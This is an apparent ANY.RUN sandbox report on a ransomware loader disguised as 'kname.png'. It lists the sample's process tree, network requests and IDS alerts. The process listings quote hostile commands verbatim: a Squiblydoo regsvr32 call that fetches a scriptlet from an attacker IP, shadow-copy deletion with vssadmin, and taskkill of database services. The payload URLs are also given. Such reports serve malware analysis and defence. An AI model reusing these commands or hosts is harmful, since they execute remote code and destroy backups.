download:

kname.png

Full analysis: https://app.any.run/tasks/08a92bb4-21ca-4eb3-afa9-939522d3b61a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 15, 2019, 01:58:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
ransomware
trojan
squiblydoo
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

EBFAC4B9C4387F5DBB921BBB23986739

SHA1:

4478CF297A4B5AB2F6B0BCE9E16697941ED815D5

SHA256:

9919ED2520E8B9A4D4874C241269D383E32CEB5C19BB26D9DE83D2C697DFC104

SSDEEP:

49152:1U1+0ntZupd4yXcpqA92nLKBzImZum4ryw+:F0Xupd4yXcpT2nO8m4Ow

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Downloads executable files with a strange extension

      • chrome.exe (PID: 4044)
      • regsvr32.exe (PID: 1848)

    • Dropped file may contain instructions of ransomware

      • kname.png.exe (PID: 2008)

    • Downloads executable files from IP

      • chrome.exe (PID: 4044)
      • regsvr32.exe (PID: 1848)

    • Downloads executable files from the Internet

      • chrome.exe (PID: 4044)
      • regsvr32.exe (PID: 1848)

    • Deletes shadow copies

      • cmd.exe (PID: 2996)

    • Application was dropped or rewritten from another process

      • k1.exe (PID: 1548)
      • svchostk.exe (PID: 3348)
      • m32.exe (PID: 2564)

    • SQUIBLYDOO was detected

      • regsvr32.exe (PID: 1848)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • chrome.exe (PID: 4044)
      • regsvr32.exe (PID: 1848)
      • k1.exe (PID: 1548)
      • svchostk.exe (PID: 3348)

    • Modifies files in Chrome extension folder

      • chrome.exe (PID: 4044)

    • Starts CMD.EXE for commands execution

      • kname.png.exe (PID: 2008)
      • svchostk.exe (PID: 3348)

    • Creates files in the program directory

      • kname.png.exe (PID: 2008)
      • svchostk.exe (PID: 3348)
      • k1.exe (PID: 1548)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 3612)

    • Creates files like Ransomware instruction

      • kname.png.exe (PID: 2008)

    • Starts Internet Explorer

      • kname.png.exe (PID: 2008)

  • INFO

    • Changes internet zones settings

      • iexplore.exe (PID: 2644)

    • Application launched itself

      • iexplore.exe (PID: 2644)
      • chrome.exe (PID: 4044)

    • Reads internet explorer settings

      • iexplore.exe (PID: 3520)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3520)
      • chrome.exe (PID: 4044)

    • Dropped object may contain Bitcoin addresses

      • kname.png.exe (PID: 2008)

    • Creates files in the user directory

      • chrome.exe (PID: 4044)
      • WINWORD.EXE (PID: 5252)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 5252)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.dll | Win32 Dynamic Link Library (generic) (43.5)
.exe | Win32 Executable (generic) (29.8)
.exe | Generic Win/DOS Executable (13.2)
.exe | DOS Executable Generic (13.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2006:04:01 12:05:04+02:00
PEType: PE32
LinkerVersion: 14
CodeSize: 18432
InitializedDataSize: -
UninitializedDataSize: -
EntryPoint: 0x1437d0
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows command line

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_CUI
Compilation Date: 01-Apr-2006 10:05:04
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000120

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 01-Apr-2006 10:05:04
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x001405D4
0x00000800
IMAGE_SCN_MEM_READ
7.71085
k
0x002EF000
0x00001000
0x00000200
IMAGE_SCN_MEM_READ
4.71063

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.91161
381
UNKNOWN
English - United States
RT_MANIFEST

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
MSWSOCK.dll
PSAPI.DLL
SHELL32.dll
SHLWAPI.dll
USER32.dll
WLDAP32.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
94
Monitored processes
50
Malicious processes
7
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start rundll32.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs kname.png.exe cmd.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs cmd.exe no specs cmd.exe no specs vssadmin.exe no specs vssadmin.exe no specs cmd.exe no specs #SQUIBLYDOO regsvr32.exe iexplore.exe iexplore.exe no specs svchostk.exe cmd.exe no specs cmd.exe no specs k1.exe cmd.exe no specs m32.exe no specs winword.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
292tAskkill /F /IM httpd.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
644"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=908,18133734835728035322,1274870116424649059,131072 --enable-features=PasswordImport --disable-gpu-compositing --service-pipe-token=17711914911643557133 --lang=en-US --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=17711914911643557133 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3844 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
73.0.3683.75
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\73.0.3683.75\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
944tAskkill /F /IM mysqld.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
1140C:\Windows\system32\cmd.exe /c c:/ProgramData/k1.exeC:\Windows\system32\cmd.exe—svchostk.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1260vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1360"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=908,18133734835728035322,1274870116424649059,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=utility --service-request-channel-token=6413044748981210857 --mojo-platform-channel-handle=4412 --ignored=" --type=renderer " /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google Inc.
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
73.0.3683.75
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\73.0.3683.75\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
1548c:/ProgramData/k1.exec:\ProgramData\k1.exe
cmd.exe
User:
admin
Company:
Power Admin LLC
Integrity Level:
MEDIUM
Description:
PAExec Application
Exit code:
0
Version:
1.26.0.0
Modules
Images
c:\programdata\k1.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1848regsvr32 /u /s /i:http://86.106.102.162/k/svchostk.bmp scrobj.dllC:\Windows\system32\regsvr32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2008"C:\Users\admin\Desktop\kname.png.exe" C:\Users\admin\Desktop\kname.png.exe
chrome.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\desktop\kname.png.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2256"C:\Windows\System32\rundll32.exe" "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen C:\Users\admin\AppData\Local\Temp\kname.pngC:\Windows\System32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
Total events
2 917
Read events
2 577
Write events
321
Delete events
19

Modification events

(PID) Process:(2256) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
rundll32.exe
(PID) Process:(2256) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.png\OpenWithProgids
Operation:writeName:pngfile
Value:
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:LangID
Value:
0904
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Windows Photo Viewer\PhotoViewer.dll
Value:
Windows Photo Viewer
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\system32\mspaint.exe
Value:
Paint
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Program Files\Opera\Opera.exe
Value:
Opera Internet Browser
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\Windows\eHome\ehshell.exe
Value:
Windows Media Center
(PID) Process:(2256) rundll32.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\PROGRA~1\MICROS~1\Office14\OIS.EXE
Value:
Microsoft Office 2010
(PID) Process:(2256) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
Operation:writeName:{A38B883C-1682-497E-97B0-0A3A9E801682} {886D8EEB-8CF2-4446-8D02-CDBA1DBDCF99} 0xFFFF
Value:
01000000000000002066D2B8C10AD501
(PID) Process:(2256) rundll32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows Photo Viewer\Viewer
Operation:writeName:MainWndPos
Value:
6000000034000000A00400008002000000000000
Executable files
11
Suspicious files
94
Text files
226
Unknown types
9

Dropped files

PID
Process
Filename
Type
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\index —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_0 —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_1 —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_2 —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_3 —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\035d59b8-a12c-416e-bd0c-2d72557d145e.tmp —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000018.dbtmp —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\index —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_0 —
MD5:—
SHA256:—
4044chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1 —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
28
DNS requests
19
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3348
svchostk.exe
OPTIONS
—
192.168.100.2:8080
http://192.168.100.2:8080/k
unknown
—
—
whitelisted
3348
svchostk.exe
OPTIONS
—
192.168.100.2:8080
http://192.168.100.2:8080/k
unknown
—
—
whitelisted
4044
chrome.exe
GET
200
86.106.102.162:80
http://86.106.102.162/k/kname.png
RU
executable
1.67 Mb
suspicious
4044
chrome.exe
GET
200
173.194.151.106:80
http://r4---sn-4g5e6ne6.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvMjJlQUFXRC12Ny1ldUFnMXF3SDlXZDlFZw/7319.128.0.1_pkedcjkdefgpdelpbcmbmeomcjbeemfm.crx?cms_redirect=yes&mip=185.76.9.72&mm=28&mn=sn-4g5e6ne6&ms=nvh&mt=1557885394&mv=m&pl=24&shardbypass=yes
US
crx
842 Kb
whitelisted
1848
regsvr32.exe
GET
200
86.106.102.162:80
http://86.106.102.162/k/svchostk.bmp
RU
xml
1.16 Kb
suspicious
1848
regsvr32.exe
GET
200
86.106.102.162:80
http://86.106.102.162/k/svchostk.png
RU
executable
4.13 Mb
suspicious
4044
chrome.exe
GET
302
216.58.205.238:80
http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvMjJlQUFXRC12Ny1ldUFnMXF3SDlXZDlFZw/7319.128.0.1_pkedcjkdefgpdelpbcmbmeomcjbeemfm.crx
US
html
502 b
whitelisted
4044
chrome.exe
GET
404
86.106.102.162:80
http://86.106.102.162/favicon.ico
RU
binary
1 b
suspicious
4044
chrome.exe
GET
200
86.106.102.162:80
http://86.106.102.162/
RU
binary
1 b
suspicious
4044
chrome.exe
GET
403
86.106.102.162:80
http://86.106.102.162/k/
RU
html
555 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4044
chrome.exe
172.217.18.163:443
clientservices.googleapis.com
Google Inc.
US
whitelisted
4044
chrome.exe
216.58.210.3:443
www.google.com.ua
Google Inc.
US
whitelisted
4044
chrome.exe
216.58.206.14:443
clients1.google.com
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.22.35:443
www.gstatic.com
Google Inc.
US
whitelisted
4044
chrome.exe
216.58.207.35:443
ssl.gstatic.com
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.23.174:443
apis.google.com
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.16.164:443
www.google.com
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.16.131:443
www.google.se
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.22.106:443
fonts.googleapis.com
Google Inc.
US
whitelisted
4044
chrome.exe
172.217.22.65:443
clients2.googleusercontent.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
www.google.com.ua
  • 216.58.210.3
whitelisted
clientservices.googleapis.com
  • 172.217.18.163
whitelisted
accounts.google.com
  • 172.217.16.141
shared
clients1.google.com
  • 216.58.206.14
whitelisted
ssl.gstatic.com
  • 216.58.207.35
whitelisted
www.gstatic.com
  • 172.217.22.35
whitelisted
apis.google.com
  • 172.217.23.174
whitelisted
www.google.com
  • 172.217.16.164
malicious
www.google.se
  • 172.217.16.131
whitelisted
fonts.googleapis.com
  • 172.217.22.106
whitelisted

Threats

PID
Process
Class
Message
4044
chrome.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4044
chrome.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
4044
chrome.exe
Misc activity
SUSPICIOUS [PTsecurity] PE as Image Content type mismatch
1848
regsvr32.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Malicious Windows SCT Download MSXMLHTTP AX
1848
regsvr32.exe
A Network Trojan was detected
MALWARE [PTsecurity] ShortJSRAT XML scriplet
1848
regsvr32.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
1848
regsvr32.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
1848
regsvr32.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1848
regsvr32.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
1848
regsvr32.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
kname.png